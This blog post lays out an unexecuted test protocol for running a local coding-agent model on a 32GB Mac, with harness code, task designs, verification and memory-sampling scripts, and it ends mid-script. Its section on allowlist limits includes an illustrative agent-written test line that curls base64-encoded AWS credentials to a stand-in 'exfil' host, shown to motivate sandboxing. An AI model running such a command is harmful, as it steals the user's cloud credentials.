Testing Inkling 2 Mini on a 32GB Mac: Verified JavaScript Fixes, Peak Memory, and Swap

Testing Inkling 2 Mini on a 32GB Mac: Verified JavaScript Fixes, Peak Memory, and Swap

pr0h0••52 min read•ai
AI Usage (90%)
On this page

What This Test Must Establish Before Calling Inkling 2 Mini Useful

A 26.4B-parameter model that "runs on a 32GB Mac" is a statement about loading weights; productivity is a different claim. This post gives you a reproducible protocol for testing Inkling 2 Mini on a 32GB Mac, covering verified JavaScript fixes, peak memory and swap, tool-call reliability, latency, and cost per verified fix, with the exact commands, telemetry schema, and pass/fail criteria needed to repeat the run. Between the headline and a useful agent sit the harness, the tool-call protocol, the JavaScript test runner, macOS, and a dozen failure modes that never make a headline, so the results stay empty until someone produces them.

The AI-usage disclosure for this article lives in the frontmatter (aiUsage: 90), not in a body component. It's a disclosure signal and nothing else: not editorial review, and not evidence that a human verified anything below.

Frame the engineering question: can a coding agent produce independently verified JavaScript fixes on a 32GB Mac without unacceptable memory pressure, swap growth, or latency?

The question I can actually test is narrow:

Given a 32GB Apple Silicon Mac, a pinned model artifact, and a fixed set of JavaScript repository bugs, how many fixes does an agent built on this model produce that survive an independent test run from a clean checkout — and what does the machine look like while it does that?

Every clause matters. "Independently verified" rules out anything the model claims about itself. "From a clean checkout" rules out patches that pass only because the agent edited the test. "What the machine looks like" rules out the case where a fix lands in 90 seconds while the box is compressed to a standstill and three later tasks time out.

State the technical position: fitting model weights into memory is not evidence that a complete agent workflow is practical

Stated up front, so the results can contradict it:

A model that loads within 32GB unified memory has cleared the least interesting barrier. The binding constraints for a local coding agent are (1) peak resident footprint of the whole stack — model server, KV cache, harness, test runner — (2) swap traffic once peak crosses the free-memory line, (3) tool-call schema reliability under long contexts, and (4) latency per verified fix rather than per token. A configuration can pass (1) and fail all the rest.

If the measurements later show a high verified-fix rate at low swap growth, this position is wrong in a useful way, and I'll say so with the numbers attached. Until then it stays a position, not a finding.

Define the evidence boundary: the supplied material contains news snippets, not verified model documentation or completed experiments

Putting this first, because most write-ups skip it.

What the supplied material actually contains: four secondary news items dated 2026-11-20 and 2026-11-21, with headlines and one-line snippets. What it does not contain: a model card, a release announcement from the publisher, weight file names, quantization variants, license text, a supported chat template, a tool-call specification, or any benchmark method description.

So, in this post:

CategoryStatus
Parameter count, publisher, release windowReported by secondary outlets; not confirmed against primary documentation
"Runs on a 32GB Mac"A headline claim; no stated context length, quantization, or throughput attached
"Looped transformer"Design description from secondary coverage; mechanism unverified
Peak memory, swap, latency, verified-fix rateNot measured. No run has been completed for this post
Weight-only arithmetic (13.2 GB)Arithmetic on a reported number, not a measurement

I'm not going to dress a news summary up as a lab report. What follows is the protocol, the code, and the exact places where each number belongs once someone runs it.

Follow the walkthrough order: claims, environment, harness, tasks, telemetry, results, decision

The order is deliberate: claims and the claim ledger first, then environment, then harness, then tasks, then telemetry, then results, then the decision. If you only want the commands, jump to the environment manifest and the sampler. A memory number without the harness that produced it isn't comparable to anyone else's memory number, and that's how "runs on a 32GB Mac" became a claim nobody can check in the first place.

Verify the Inkling 2 Mini Release Claims and Identify the Exact Model

Preserve the reported timeline: the supplied coverage is dated November 20–21, 2026, and attributes Inkling 2 Mini to Thinking Machines

The supplied coverage clusters in a 30-hour window:

Published (UTC)PublisherHeadline gist
2026-11-20 20:13Vals AIBenchmarks, cost, capabilities
2026-11-20 21:50news.lavx.huRelease, looped transformer, local agentic coding
2026-11-21 00:37Superpower DailyOpen weights, looping design
2026-11-21 02:18Kingy AI26.4B coding model on a 32GB Mac

Four outlets, one release window, no primary document in the set. The consistency across outlets is mildly reassuring — a fabricated release is unlikely to produce four aligned headlines — but consistency across aggregators is not independent corroboration when they're all summarising the same announcement.

Attribute the specific claims: Kingy AI describes a 26.4B model running on a 32GB Mac; other supplied snippets describe open weights, a looped transformer, and agentic coding

Map each claim to exactly one source so it can be retracted cleanly:

  • 26.4B parameters, 32GB Mac — Kingy AI. The headline is the entire claim; the snippet contains no context length, no quantization level, no tokens/second, no measurement method.
  • Open weights — Superpower Daily. "Open weights" is not a license. It says nothing about commercial use, redistribution, or derivatives.
  • Looped / looping design — Superpower Daily and news.lavx.hu. Neither snippet specifies what is reused across iterations or whether loop count is a runtime knob.
  • Agentic coding focus, benchmark and cost coverage — Vals AI. A benchmark number without the harness, prompt format, and pass criterion isn't portable to a local agent loop.
⚠️

"Open weights" and "runs on a 32GB Mac" are the two claims most likely to be technically true and practically misleading at the same time. A 4-bit artifact at 8K context and a full-precision artifact at 128K context are both "the model"; only one of them is a coding agent.

Build a claim ledger distinguishing secondary reporting, primary-source confirmation, local observations, and unresolved questions

The ledger is a working document. Keep it in the repo next to the harness so results can cite claim IDs.

ID     CLAIM                                    STATUS         SOURCE / NOTE
C-01   Publisher is Thinking Machines            secondary      all four outlets
C-02   Name is "Inkling 2 Mini"                  secondary      all four outlets
C-03   26.4B parameters                           secondary      Kingy AI headline only
C-04   Runs on a 32GB Mac                         secondary      Kingy AI headline; config unknown
C-05   Weights are open                          secondary      Superpower Daily; license unknown
C-06   Looped transformer architecture           secondary      Superpower Daily, news.lavx.hu
C-07   Targeted at agentic coding                secondary      all four outlets
C-08   Exact artifact, revision, quantization    UNRESOLVED     needs model card
C-09   Chat template and tool-call format        UNRESOLVED     needs release docs
C-10   Loop count exposed as runtime setting     UNRESOLVED     needs architecture docs
C-11   Peak RSS of full agent stack on 32GB      NOT MEASURED   run protocol, §5
C-12   Verified-fix rate on 12 JS bugs           NOT MEASURED   run protocol, §6

Anything labelled UNRESOLVED blocks the installation commands. That's the point of the ledger: it stops the write-up from quietly acquiring facts it never had.

Require official release documentation, a model card, weight provenance, license terms, and runtime compatibility before providing installation commands

Before a single pull or download runs, these five artifacts should exist and be readable:

  1. Release documentation stating the exact model identifier and revision.
  2. Model card with parameter count, context length, training-data summary, and intended use.
  3. Weight provenance — a checksum, a signing key, or a documented distribution channel.
  4. License terms covering local use, redistribution, and derivative artifacts.
  5. Runtime compatibility — which inference runtimes and versions are supported, and which quantization formats are official rather than community conversions.

None of these were in the supplied material. So instead of a fabricated ollama pull inkling2-mini:q4_K_M, here is the shape the commands take once the identifiers are known, with placeholders marked so nobody mistakes them for real values:

## PLACEHOLDERS. Do not run until §2.5 identifiers are confirmed
## from official documentation and recorded in claims.lock.

MODEL_ID="<official-model-id>"          # e.g. from the model card
MODEL_REV="<immutable-revision>"        # commit hash or tag, never "latest"
QUANT_ID="<official-quant-artifact>"    # only artifacts the publisher lists
RUNTIME_VER="<pinned-runtime-version>"  # inference server version
TOKENIZER_REV="<tokenizer-revision>"

Pin the model revision, tokenizer, chat template, quantization artifact, checksum, runtime version, and supported tool-call format; do not invent unavailable identifiers

Pinning seven things sounds excessive until the first non-reproducible result. latest isn't a revision; it's a promise that your numbers will change without notice.

## claims.lock — written once, read by every run, committed to the repo
MODEL_ID=<from model card>
MODEL_REV=<immutable revision>
MODEL_SHA256=<sha256 of the weight file as distributed>
TOKENIZER_REV=<immutable revision>
CHAT_TEMPLATE_SHA256=<sha256 of the template file used>
QUANT_ID=<official quant identifier>
RUNTIME_NAME=<runtime>
RUNTIME_VER=<version>
TOOLCALL_FORMAT=<json-schema | native-functions | text-protocol>
CONTEXT_TOKENS=<documented maximum used in this test>

Verify the weights before loading, not after a weird benchmark:

shasum -a 256 "$WEIGHT_FILE" | tee weights.sha256
## compare against MODEL_SHA256 from the publisher; mismatch = stop

If the publisher doesn't publish a checksum, record that in the ledger as C-13 checksum: not published. A missing checksum is a finding about reproducibility, not a reason to skip the step silently.

Define a Reproducible 32GB Mac Test Environment

Record the Mac chip, CPU and GPU configuration, macOS build, physical memory, available disk space, power mode, and background workload

Memory results don't transfer across Apple Silicon generations. An M1 Max and an M4 Pro carrying the same 32GB label have different memory bandwidth, different GPU core counts, and different SSD generations driving swap behaviour under load. Capture the machine, not the marketing name.

#!/usr/bin/env bash
## env-manifest.sh — run once, write env-manifest.txt, commit it
set -euo pipefail
OUT="${1:-env-manifest.txt}"

{
  echo "# environment manifest"
  echo "captured_utc=$(date -u +%Y-%m-%dT%H:%M:%SZ)"
  echo
  echo "## hardware"
  sysctl -n machdep.cpu.brand_string || true
  system_profiler SPHardwareDataType 2>/dev/null \
    | grep -E "Model Name|Model Identifier|Chip|Total Number of Cores|Memory" || true
  echo "hw_pagesize_bytes=$(sysctl -n hw.pagesize)"
  echo "hw_memsize_bytes=$(sysctl -n hw.memsize)"
  echo "hw_ncpu=$(sysctl -n hw.ncpu)"
  echo
  echo "## os"
  sw_vers
  echo "kernel=$(uname -a)"
  echo
  echo "## power"
  pmset -g custom 2>/dev/null || true
  pmset -g batt | head -5 || true
  echo
  echo "## disk (free space for weights + swap headroom)"
  df -H / /System/Volumes/Data 2>/dev/null || df -H /
  echo
  echo "## swap at baseline (before anything is loaded)"
  sysctl vm.swapusage
  echo
  echo "## background workload snapshot"
  ps -Ao pid,ppid,%cpu,rss,comm | sort -k4 -nr | head -20
} | tee "$OUT"

Two of those entries matter more than they look. hw.pagesize is 16384 on Apple Silicon, not 4096 — every vm_stat page count in your telemetry has to be multiplied by that value, and hard-coding 4096 understates every memory figure in the post by 4×. pmset -g custom tells you whether Low Power Mode is on, which changes sustained inference throughput on laptops.

Explain the unified-memory budget: weights share capacity with runtime allocations, attention state, macOS, the agent harness, and JavaScript test processes

On a discrete-GPU machine, "does the model fit in VRAM" is roughly a partition question. On Apple Silicon there's one pool and everything draws from it:

ConsumerRoughly proportional toNotes
Model weightsparameter count × bytes per weightFixed at load time
KV cachecontext tokens × layers × KV heads × head dim × bytes × 2Grows with context and concurrency
Runtime scratch / graph buffersimplementation-specificOften the surprise line item
macOS + WindowServer + login itemsinstalled software and open apps4–8 GB on a working machine is normal
Agent harness (Node.js)conversation history, tool output buffersGrows fastest when tool output is unbounded
Test runner child processesyour repo's test suiteSpawns and dies per attempt

The practical budget on a 32GB machine with a normal desktop session is closer to 26–28GB of "available for experiments" than 32GB. When someone quotes a fit figure, the first question is what else was running.

Show the limited weight-only calculation: if the reported 26.4B parameter count is accurate, four-bit payloads alone occupy about 13.2 decimal GB before metadata and runtime overhead

This is arithmetic, not a measurement, and it's the only quantitative thing the reported parameter count buys us.

params              = 26.4e9
4-bit packed        = 0.5 bytes/param (no per-block metadata)
weight bytes        = 26.4e9 × 0.5  = 13.2e9 bytes
                    = 13.2 GB  (decimal, 1e9)
                    = 12.29 GiB (binary, 2^30)

Now add the parts the headline omits:

  • Quantization block metadata. Common 4-bit schemes store per-group scales or zero-points; a 32-weight group with a 16-bit scale adds 2 bytes per 32 weights ≈ 0.0625 bytes/param ≈ 1.65 GB more at 26.4B. Group size 128 with a float16 scale is cheaper. The exact overhead depends on the artifact, which is why QUANT_ID is pinned.
  • Embedding and output layers. Some quantization pipelines keep these at higher precision; that can be a non-trivial slice of the total.
  • KV cache. For a 32K-token context you should expect several GB, scaling linearly with tokens. At 8K it's a fraction of that. This is the single largest reason "runs on a 32GB Mac" is unanswerable without a stated context length.

So: 13.2 GB of weights on a ~27GB effective budget leaves on the order of 13–14 GB for KV cache, runtime, harness, and test processes — at whatever context length and quantization the publisher actually shipped. That's a plausible budget for a small agent workload and an implausible one for a 128K-context session with a chatty harness. It isn't evidence either way.

📝

A useful sanity check before trusting any memory number, including your own: if a claimed peak is below the weight-only floor for the stated quantization, the number is measuring something other than the model — a different quantization, a different artifact, or the wrong process.

Provide a shell-based environment manifest and a JavaScript run manifest with explicit units, version output, context settings, generation limits, and random seeds where supported

The environment manifest covers the machine. The run manifest covers the run, and it belongs next to the results.

// run-manifest.mjs — emitted by the harness at every run start




const sh = (cmd, args) => {
  try {
    return execFileSync(cmd, args, { encoding: "utf8" }).trim();
  } catch {
    return null; // record absence honestly
  }
};

export function writeRunManifest({ outPath, cfg }) {
  const manifest = {
    run_id: randomUUID(),
    started_utc: new Date().toISOString(),
    units: {
      memory: "bytes",
      latency: "milliseconds (monotonic via performance.now)",
      tokens: "tokenizer tokens, counted by runtime if exposed",
    },
    hardware: {
      chip: sh("sysctl", ["-n", "machdep.cpu.brand_string"]),
      memsize_bytes: Number(sh("sysctl", ["-n", "hw.memsize"])),
      pagesize_bytes: Number(sh("sysctl", ["-n", "hw.pagesize"])),
      ncpu: Number(sh("sysctl", ["-n", "hw.ncpu"])),
    },
    os: {
      sw_vers: sh("sw_vers", []),
      kernel: sh("uname", ["-a"]),
    },
    runtime: {
      node: process.version,
      model_id: cfg.modelId,
      model_revision: cfg.modelRevision,
      quant_id: cfg.quantId,
      runtime_name: cfg.runtimeName,
      runtime_version: cfg.runtimeVersion,
      toolcall_format: cfg.toolcallFormat,
    },
    generation: {
      context_tokens: cfg.contextTokens,
      max_output_tokens: cfg.maxOutputTokens,
      temperature: cfg.temperature,
      top_p: cfg.topP,
      seed: cfg.seed ?? null,          // null = runtime does not support seeding
      seed_supported: cfg.seed != null,
      stop_sequences: cfg.stopSequences ?? [],
    },
    agent: {
      harness_version: cfg.harnessVersion,
      max_tool_calls: cfg.maxToolCalls,
      max_wall_ms: cfg.maxWallMs,
      tool_output_cap_bytes: cfg.toolOutputCapBytes,
    },
  };
  writeFileSync(outPath, JSON.stringify(manifest, null, 2));
  return manifest;
}

Note seed_supported. Some runtimes expose a seed and ignore it; some accept it and document that batching makes it non-deterministic. Writing seed: null when the runtime has no seed is honest. Writing a seed value the runtime ignores is not.

Separate cold starts from warm runs, define pre-run settling checks, and avoid implying that restarting a process clears system swap

Three hygiene rules that change results more than the model does:

  1. Cold start = first model load since boot or since the runtime was last stopped, with no prior inference in this session. Warm run = a subsequent run with the server already resident. Report them separately. Mixing them produces a bimodal latency distribution that averages into a meaningless middle.
  2. Settling check before each run: wait until swap-in/swap-out deltas are zero across two consecutive 5-second samples, and no compilation or indexing process is above ~5% CPU. Record how long settling took.
  3. Restarting the model process does not undo swap. macOS doesn't eagerly page swapped-out pages back in when a process exits; the compressed/swapped state decays as pages are touched. "I restarted, so memory was clean" is false. The only defensible baseline is a measured one:
## settling check: require two consecutive zero-delta samples
prev=""
for i in 1 2 3 4; do
  cur="$(sysctl -n vm.swapusage)"
  used="$(printf '%s' "$cur" | sed -E 's/.*used = ([0-9.]+)M.*/\1/')"
  echo "t=${i} swap_used_M=${used}"
  [ "$prev" = "$used" ] && echo "settled" && break
  prev="$used"; sleep 5
done

If swap doesn't settle, either something is still running or the machine needs a reboot before a clean baseline. Say which one happened in the write-up.

Build a Safe JavaScript Coding-Agent Harness

Use a fixed repository commit, pinned Node.js version, locked dependencies, preinstalled packages, and a fresh workspace for every attempt

The fixture repo is created fresh per attempt from a known commit, with node_modules installed at image-build time and never touched during the run. That kills three contamination classes at once: cross-attempt state, network flakiness, and dependency drift.

#!/usr/bin/env bash
## make-workspace.sh <task-id> <attempt>
set -euo pipefail
TASK="$1"; ATTEMPT="$2"
FIXTURE_COMMIT="<pinned-fixture-commit>"
WS="/tmp/agentws/${TASK}-${ATTEMPT}"

rm -rf "$WS"
git clone --quiet --no-hardlinks /srv/fixtures/js-agent-fixtures.git "$WS"
git -C "$WS" checkout --quiet "$FIXTURE_COMMIT"
git -C "$WS" checkout --quiet -b "attempt/${TASK}-${ATTEMPT}"

## dependencies are vendored at build time; offline install only
npm --prefix "$WS" ci --offline --ignore-scripts --no-audit --no-fund
echo "$WS"

--ignore-scripts matters: npm lifecycle scripts are arbitrary code execution at install time. --offline matters: a network fetch mid-run makes latency and failure attribution impossible.

Define narrow tools for reading files, searching approved paths, applying patches, and running allowlisted tests; validate arguments and resolved paths

Four tools. No shell, no free-form command execution, no network.

// tools.mjs — every tool validates before it acts



const ROOT = await realpath(process.env.WORKSPACE);

// Resolve the parent directory so non-existent target files still get checked.
async function safeResolve(rel) {
  if (typeof rel !== "string" || rel.length === 0) throw new Error("E_ARG: empty path");
  if (path.isAbsolute(rel)) throw new Error("E_ARG: absolute path rejected");
  const abs = path.resolve(ROOT, rel);
  const parent = await realpath(path.dirname(abs)); // resolves symlinks
  const resolved = path.join(parent, path.basename(abs));
  if (resolved !== ROOT && !resolved.startsWith(ROOT + path.sep)) {
    throw new Error("E_ESCAPE: path outside workspace");
  }
  return resolved;
}

export async function readFileTool({ path: rel, maxBytes = 65536 }) {
  const abs = await safeResolve(rel);
  const buf = await readFile(abs);
  const truncated = buf.length > maxBytes;
  return {
    path: rel,
    bytes: buf.length,
    truncated,
    content: buf.subarray(0, maxBytes).toString("utf8"),
  };
}

The startsWith(ROOT + path.sep) check is the part people get wrong. startsWith("/tmp/ws") matches /tmp/ws-evil/, and a realpath on the target alone throws for files the agent is about to create. Resolving the parent and re-joining the basename handles both.

The test tool is an allowlist by task, executed without a shell:



const ALLOWED = new Set(["node:test:unit", "node:test:acceptance"]);

export function runTests({ suite, timeoutMs = 120_000 }) {
  if (!ALLOWED.has(suite)) throw new Error("E_ARG: suite not allowlisted");
  const files = {
    "node:test:unit": ["test/unit/**/*.test.js"],
    "node:test:acceptance": ["../acceptance/**/*.test.js"], // outside workspace
  }[suite];

  return new Promise((resolve) => {
    const child = spawn(process.execPath, ["--test", "--test-reporter=tap", ...files], {
      cwd: process.env.WORKSPACE,
      shell: false,                 // never a shell
      detached: true,               // own process group, killable as a unit
      env: {
        PATH: "/usr/bin:/bin:/usr/local/bin",
        HOME: "/tmp/agenthome",
        NODE_OPTIONS: "--max-old-space-size=2048",
        NO_NETWORK: "1",
      },
      stdio: ["ignore", "pipe", "pipe"],
    });

    const chunks = [];
    child.stdout.on("data", (c) => chunks.push(c));
    child.stderr.on("data", (c) => chunks.push(c));

    const killTimer = setTimeout(() => {
      try { process.kill(-child.pid, "SIGKILL"); } catch {}
    }, timeoutMs);

    child.on("exit", (code, signal) => {
      clearTimeout(killTimer);
      resolve({
        exitCode: code,
        signal,
        timedOut: signal === "SIGKILL",
        output: Buffer.concat(chunks).toString("utf8").slice(0, 200_000),
      });
    });
  });
}

detached: true plus process.kill(-pid) is the descendant cleanup that a plain child.kill() misses. A test that spawns a server and hangs leaves orphans otherwise, and those orphans keep holding memory — which pollutes the next task's memory measurement, not this one. That's a measurement bug disguised as a cleanup bug.

Run under a restricted local account or suitable isolation boundary with no credentials, controlled network access, execution timeouts, and descendant-process cleanup

Application-level validation is necessary and insufficient. Run the harness as a dedicated account with no keychain access, no ~/.ssh, no cloud credential files, and an outbound firewall rule that permits only the loopback model server:

## illustrative: dedicated account + loopback-only egress
sudo dscl . -create /Users/agentrunner
sudo dscl . -create /Users/agentrunner UserShell /usr/bin/false
sudo dscl . -create /Users/agentrunner NFSHomeDirectory /var/agentrunner
sudo dscl . -passwd /Users/agentrunner "$(openssl rand -base64 32)"  # unloggable password
sudo chmod 700 /var/agentrunner

On macOS the strong boundary is a sandbox profile or a VM. sandbox-exec is deprecated and its profile language is undocumented; if you use it, treat it as defence in depth, not a guarantee, and say so in the write-up instead of implying OS-grade isolation you didn't verify.

Explain the limits of application-level allowlists: repository code and test scripts can execute arbitrary code unless operating-system isolation also constrains them

Here's the hole, stated plainly. The runTests tool above allowlists which suite runs. It doesn't constrain what that suite does. The suite executes files from the workspace, and those files are editable by the agent. An agent that writes

// test/unit/pagination.test.js (agent-modified)

execSync("curl -s https://example.invalid/exfil?d=$(cat ~/.aws/credentials | base64)");

hasn't escaped an allowlist; it has used the allowlist as intended. The allowlist said "run the unit suite," and the unit suite does whatever it contains.

Mitigations, in increasing strength:

LayerStopsDoes not stop
Path validation in toolsPath traversal, absolute paths, symlink escapeCode inside approved files
Suite allowlist + --ignore-scriptsArbitrary shell from the harness, install-time hooksMalicious content of allowlisted suites
shell: false + scrubbed envShell injection via argv, credential inheritanceDirect syscalls from JS
Restricted user + no credentialsReading secrets, writing outside the workspaceNetwork egress, filesystem reads of world-readable data
Egress firewall (loopback only)Data exfiltrationLocal resource abuse, timing attacks
VM / separate machineNearly everythingYour own measurement fidelity

For a benchmark that runs a known fixture set, this stack is defensible because the agent isn't adversarial most of the time. For anything running untrusted repos, the VM is not optional.

Capture raw model responses, parsed tool calls, tool results, patches, test output, and monotonic timestamps in a documented JSONL event schema

One line per event, append-only, written before the next step begins. Timestamps use performance.now() for durations and ISO wall-clock for correlation; never compute latency by subtracting wall-clock strings across a clock adjustment.

// events.mjs



export function createEventLog(path, runId) {
  const t0 = performance.now();
  return (event) => {
    const rec = {
      schema: "hackyjs.agent.event/1",
      run_id: runId,
      seq: event.seq,
      t_mono_ms: Number((performance.now() - t0).toFixed(3)),
      t_wall_utc: new Date().toISOString(),
      type: event.type,        // request|response_raw|tool_call_parsed|tool_result|patch|test_run|error|budget
      task_id: event.taskId,
      attempt: event.attempt,
      payload: event.payload,
    };
    appendFileSync(path, JSON.stringify(rec) + "\n");
    return rec;
  };
}

Event types and the fields that must be present:

typeRequired payload fields
requestmodel_rev, context_tokens_in, messages_hash, tools_hash
response_rawraw_text, raw_bytes, tokens_out, finish_reason, wall_ms
tool_call_parsedname, args, parse_ok, schema_ok, validation_error
tool_resultname, ok, bytes, truncated, error_class, wall_ms
patchfiles_changed, diff, lines_added, lines_removed
test_runsuite, exit_code, passed, failed, timed_out, wall_ms
errorlayer, message, stack_hash
budgettool_calls_used, wall_ms_used, tokens_used

messages_hash and tools_hash cost almost nothing and let you prove two runs saw identical prompts — the difference between "same configuration" and "same configuration by intent."

Separate failures in model output, tool-call parsing, argument validation, tool execution, and the agent control loop rather than assigning every failure to the model

Six failure layers, each with a distinct owner:

L1 model output      — no tool call emitted, unparseable text, wrong answer in prose
L2 tool-call parsing — valid-looking call, malformed JSON / wrong envelope
L3 argument validation — parsed but rejected (bad path, unknown suite, wrong type)
L4 tool execution    — accepted then failed (test crashed, patch did not apply)
L5 control loop      — harness bug: gave up early, repeated a call, mis-summarised a result
L6 environment       — timeout, OOM kill, disk full, harness crash

A post that reports "the model failed 4/12" without this split is reporting a number nobody can act on. L2 and L3 failures are fixed by better tool schemas and stricter generation limits. L4 failures are usually fixture bugs. L1 is the only layer that says something about the model, and even there, prompt format confounds it.

Design JavaScript Tasks That Measure Verified Fixes

Propose a predeclared suite of 12 bounded bugs with three independent attempts per configuration; label this as the planned sample, not completed evidence

Twelve tasks, three attempts, three configurations = 108 runs. That's enough to separate a 40% success rate from an 80% one, and nowhere near enough to separate 60% from 70%. Better to state the sample size that bluntly.

This suite is planned, not executed. No Inkling 2 Mini run has produced these numbers.

IDBug classTarget fileDifficulty
JS-01async error swallowed in Promise.allsrc/batch.jslow
JS-02ESM path resolution fails on Windows-style separatorssrc/loader.mjsmedium
JS-03Request body validation accepts extra fieldssrc/validate.jslow
JS-04Pagination off-by-one at exact page boundarysrc/paginate.jslow
JS-05Non-deterministic state update ordersrc/reducer.jsmedium
JS-06Unhandled rejection in stream pipelinesrc/stream.jsmedium
JS-07Retry loop retries non-retryable 4xxsrc/retry.jslow
JS-08Timeout not cleared on early returnsrc/withTimeout.jslow
JS-09structuredClone of non-cloneable configsrc/config.jsmedium
JS-10Race between close and data eventssrc/tail.jshard
JS-11Integer overflow in byte-size formattersrc/format.jslow
JS-12Cache key collision across case variantssrc/cache.jsmedium

Difficulty is my pre-run estimate and should be revised after the first pass. If JS-10 goes 0/3 across every config while JS-01 goes 3/3, the suite is unbalanced and the aggregate rate is really just a statement about JS-10.

Cover realistic repository work such as asynchronous error handling, ESM path resolution, request validation, pagination boundaries, and deterministic state updates

Each bug should be the kind that shows up in a code review and takes a human 5–20 minutes. Not LeetCode. Not a one-line typo. The distribution above skews toward async and boundary conditions because those are where local coding agents most often produce plausible-looking patches that fail on the second assertion.

Define each task using a failing reproduction, an allowed edit surface, acceptance tests, regression tests, and a fixed time and tool-call budget

A task is a tuple, and all five parts are fixed before the first run:

## tasks/JS-04.yaml
id: JS-04
title: pagination off-by-one at exact page boundary
reproduction: test/unit/paginate.boundary.test.js   # fails on clean checkout
allowed_edits:
  - src/paginate.js
acceptance: ../acceptance/JS-04.test.js             # outside workspace, agent cannot read
regression: ../acceptance/regression/*.test.js      # must still pass
budget:
  wall_ms: 240000
  tool_calls: 40
  max_output_tokens_per_call: 2048
pass_criteria:
  acceptance_exit: 0
  regression_exit: 0
  forbidden_diff:
    - "test/**"
    - "package.json"
    - "package-lock.json"

The allowed_edits list is enforced by the patch tool, not by the prompt. The forbidden_diff list is enforced after the fact and causes an automatic fail regardless of test outcome. Prompts are advisory; diffs are checkable.

Show a representative JavaScript fixture, its initial failing assertion, and the expected passing output without presenting illustrative output as an observed Inkling 2 Mini result

The following is a fixture and illustrative output only. It is not an Inkling 2 Mini result.

// src/paginate.js  (broken fixture)
export function paginate(items, page, perPage) {
  const start = page * perPage;            // bug: pages are 1-based
  return items.slice(start, start + perPage);
}
// test/unit/paginate.boundary.test.js




test("page 1 returns the first perPage items", () => {
  const items = Array.from({ length: 10 }, (_, i) => i);
  assert.deepEqual(paginate(items, 1, 3), [0, 1, 2]);
});

Initial state on a clean checkout:

$ node --test test/unit/paginate.boundary.test.js
not ok 1 - page 1 returns the first perPage items
  ---
  actual:   [ 3, 4, 5 ]
  expected: [ 0, 1, 2 ]
  ...
## fail 1

Independent acceptance run after a correct patch — again, illustrative:

$ node --test ../acceptance/JS-04.test.js
ok 1 - page 1 returns first slice
ok 2 - page 2 returns second slice
ok 3 - last page returns remainder
ok 4 - out-of-range page returns []
## pass 4

The fixture shows two things. First, the observable failure ([3,4,5] vs [0,1,2]) is specific enough that a correct patch is one line and an incorrect patch is visibly wrong. Second, the acceptance suite checks the contract — including the out-of-range case the unit test never covers — from a directory the agent can't read or edit.

Keep acceptance tests outside the agent's editable workspace, reject test weakening and dependency changes, and verify the final patch from a clean checkout

The verification path is the whole benchmark. It has to be mechanical:

#!/usr/bin/env bash
## verify.sh <task-id> <workspace> — the only source of truth for "fixed"
set -euo pipefail
TASK="$1"; WS="$2"
VERIFY="/tmp/verify/${TASK}-$(date +%s)"

## 1. Reconstruct a clean tree from the fixture commit
git clone --quiet --no-hardlinks /srv/fixtures/js-agent-fixtures.git "$VERIFY"
git -C "$VERIFY" checkout --quiet "$FIXTURE_COMMIT"

## 2. Apply ONLY the agent's diff, and only to allowed paths
git -C "$WS" diff "$FIXTURE_COMMIT" > /tmp/agent.patch
if git -C "$WS" diff --name-only "$FIXTURE_COMMIT" \
   | grep -qE '^(test/|package(-lock)?\.json|npm-shrinkwrap\.json)'; then
  echo "RESULT: fail (forbidden path modified)"; exit 3
fi
git -C "$VERIFY" apply --whitespace=nowarn /tmp/agent.patch

## 3. Fresh dependency install from the lockfile only
npm --prefix "$VERIFY" ci --offline --ignore-scripts --no-audit --no-fund

## 4. Acceptance + regression, outside the workspace
cp -R /srv/acceptance/JS-04 "$VERIFY/../acc-${TASK}"
node --test --test-reporter=tap "$VERIFY/../acc-${TASK}/JS-04.test.js"
node --test --test-reporter=tap "$VERIFY/../acc-${TASK}/regression/"
echo "RESULT: pass"

If step 2 fails to apply, the result is fail (patch did not apply) — not a retry, not partial credit. If the agent modified package.json to install a helper library, the run fails before any test executes.

Report first-attempt verified success separately from success after retries, and document suite size, task selection, and possible training-data contamination

Three outcome categories, never merged:

  • first-attempt verified — attempt 1 patch passes independent acceptance on the first try.
  • eventually verified — some attempt within 3 passes, with the attempt number recorded.
  • never verified — all 3 attempts fail, with the failure layer from the L1–L6 taxonomy.

Contamination is a real caveat. These are ordinary JavaScript bugs; a model trained on enough open-source repositories has plausibly seen the shape of every one of them. That cuts in the optimistic direction for this benchmark: the tasks are easier than novel ones, so a poor result is meaningful while a good result is not a general capability claim. Say that in the write-up before anyone else does.

Measure Peak Memory, Memory Pressure, and Swap on a 32GB Mac

Provide timestamped macOS sampling commands using vm_stat and sysctl vm.swapusage, discovering the actual page size instead of assuming one

vm_stat reports pages, not bytes. The page size comes from the system.

#!/usr/bin/env bash
## sample-mem.sh <out.jsonl> <interval_ms> <pid1,pid2,...>
set -euo pipefail
OUT="$1"; INTERVAL_MS="$2"; PIDS="$3"
PAGESIZE=$(sysctl -n hw.pagesize)
INTERVAL_S=$(awk -v ms="$INTERVAL_MS" 'BEGIN{printf "%.3f", ms/1000}')

while :; do
  ts=$(date -u +%Y-%m-%dT%H:%M:%S.%3NZ 2>/dev/null || date -u +%Y-%m-%dT%H:%M:%SZ)

  vmstat_raw=$(vm_stat)
  swap_raw=$(sysctl -n vm.swapusage)

  free_p=$(printf '%s\n' "$vmstat_raw" | awk -F: '/Pages free/{gsub(/[ .]/,"",$2);print $2}')
  active_p=$(printf '%s\n' "$vmstat_raw" | awk -F: '/Pages active/{gsub(/[ .]/,"",$2);print $2}')
  wired_p=$(printf '%s\n' "$vmstat_raw" | awk -F: '/Pages wired down/{gsub(/[ .]/,"",$2);print $2}')
  comp_p=$(printf '%s\n' "$vmstat_raw" | awk -F: '/Pages occupied by compressor/{gsub(/[ .]/,"",$2);print $2}')
  swapouts=$(printf '%s\n' "$vmstat_raw" | awk -F: '/Swapouts/{gsub(/[ .]/,"",$2);print $2+0}')
  swapins=$(printf '%s\n' "$vmstat_raw" | awk -F: '/Swapins/{gsub(/[ .]/,"",$2);print $2+0}')

  swap_total=$(printf '%s' "$swap_raw" | sed -E 's/.*total = ([0-9.]+)M.*/\1/')
  swap_used=$(printf '%s' "$swap_raw"  | sed -E 's/.*used = ([0-9.]+)M.*/\1/')

  procs=$(ps -o pid=,rss=,comm= -p "$(printf '%s' "$PIDS" | tr ',' ',')" 2>/dev/null \
    | awk '{printf "{\"pid\":%d,\"rss_bytes\":%d,\"comm\":\"%s\"},", $1, $2*1024, $3}' \
    | sed 's/,$//')

  printf '{"t_utc":"%s","pagesize_bytes":%d,"free_bytes":%d,"active_bytes":%d,"wired_bytes":%d,"compressor_bytes":%d,"swap_total_bytes":%d,"swap_used_bytes":%d,"swapins":%d,"swapouts":%d,"procs":[%s]}\n' \
